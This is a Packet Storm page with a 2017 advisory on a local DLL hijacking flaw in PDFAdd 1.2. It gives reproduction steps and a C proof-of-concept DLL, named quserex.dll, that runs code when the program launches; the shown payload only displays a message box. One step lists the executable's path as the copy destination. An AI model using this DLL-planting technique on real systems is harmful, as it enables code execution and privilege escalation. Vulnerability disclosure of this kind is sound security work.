what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PDFAdd 1.2 DLL Hijacking

PDFAdd 1.2 DLL Hijacking
Posted Jan 3, 2017
Authored by ZwX

PDFAdd version 1.2 suffers from a dll hijacking vulnerability.

tags | exploit
systems | windows
SHA-256 | 3e623315804f0a9f0fbc3a81913b342a2fd3e1375605f8f9bbe47a7886d270aa

PDFAdd 1.2 DLL Hijacking

Change Mirror Download
=====================================================
[#] Exploit Title : PDfAdd 1.2 - DLL Hijacking Vulnerability
[#] Date Discovered : 2016-12-22
[#] Affected Product(s): PDfAdd v1.2 - Software
[#] Exploitation Technique: Local
[#] Severity Level: Medium
[#] Tested OS : Windows 7
=====================================================


[#] Product & Service Introduction:
===================================
PdfAdd is a free and free program that includes several wizards that make it easier to create pdflatex and asymptote graphics most commonly used in high school mathematics programs.
This program is primarily aimed at secondary school teachers using the LaTeX composition system.

(Copy of the Vendor Homepage: http://www.xm1math.net/ )


[#] Technical Details & Description:
====================================
A local dll injection vulnerability has been discovered in the official PDfAdd v1.2 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

Vulnerable Software:
[+] PDfAdd

Vulnerable Version(s):
[+] v1.2

Vulnerable Libraries:
[+] quserex.dll


[#] Proof of Concept (PoC):
===========================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to quserex.dll
2. Copy quserex.dll to C:\Program Files\PdfAdd\pdfadd.exe
3. Launch pdfadd.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain: www.zwx.fr
Contact: msk4@live.fr
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
iedb.ir/author-ZwX.html
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
0day.today/author/27461


Copyright (c) 2017 | ZwX - Security Researcher (Software & web application)
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close